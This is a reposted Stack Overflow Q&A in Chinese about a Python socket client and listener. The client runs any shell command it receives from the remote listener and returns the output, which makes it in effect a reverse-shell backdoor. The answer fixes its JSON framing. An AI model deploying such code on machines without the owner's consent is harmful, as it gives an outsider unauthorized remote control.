gpt4 book ai didi

python - 如何将通过套接字输入的shell命令转换为json序列化数据。例如 : json. 转储和 json.loads python 3x

转载 作者:太空宇宙 更新时间:2023-11-03 21:23:22 25 4
gpt4 key购买 nike

我试图通过套接字连接远程运行命令,但是每当我给出命令代码时就会崩溃,结果是:生成 subprocess.CalledProcessError:命令“dir”返回非零退出状态 1。

客户端

!/usr/bin/env python

import socket
import subprocess
import json


class remote:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))

def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)

def reliable_receive(self):
json_data = json.dumps(self.connection.recv(1024).decode())
return json.loads(json_data)
# stuck here! I am trying to create a mkdir via subprocess command. But cannot figure out after this.


def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)

def run(self):
while True:
command = self.reliable_receive()
command_result = self.execute_system_command(command)
self.reliable_send(command_result)
connection.close()


my_class = remote("xxx.xxx.xxx.xxx", xxxx)
my_class.run()

目标是运行在服务器中键入的所有命令以在客户端中工作。但要管理大文件。服务器尝试将所有接收到的数据通过 json.dumps 放入 Json 序列化数据中,并通过 json.loads 获取。代码无需序列化即可正常工作。

服务器

!/usr/bin/env python

import socket, json


class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connections")
self.connection, address = listener.accept()
print("[+] Got connection from " + str(address))

def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)

def reliable_receive(self):
json_data = json.dumps(self.connection.recv(1024).decode())
return json.loads(json_data)

def execute_remotely(self, command):
self.reliable_send(command)
return self.reliable_receive()

def run(self):
while True:
command = raw_input(">> ")
result = self.execute_remotely(command)
print(result)


my_listener = Listener("xxx.xxx.xxx.xxx", xxxx)
my_listener.run()

最佳答案

reliable_receive中,您在调用json.dumps的结果后立即调用json.loads。这显然毫无意义。

特别是,您已经在 reliable_send 中调用了 json.dumps。更一般地说,您当然需要相同数量的转储和装载; 不平衡产生了错误消息中明显的额外引号。

更根本的问题是您的协议(protocol)不可靠:它假设消息以原子方式单独到达(从不由 SOCK_STREAM 保证,如名称所示),并且是不超过 1024 B。您需要使用某种形式的增量解析来识别消息的结尾。

这可能就像向每个字节附加一个空字节一样简单,因为我们知道 JSON 从不使用空字节。但是您仍然必须循环接收,直到看到一个,将其删除,并保留任何尾部超过它以用于下一个命令。

关于python - 如何将通过套接字输入的shell命令转换为json序列化数据。例如 : json. 转储和 json.loads python 3x,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/54052563/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com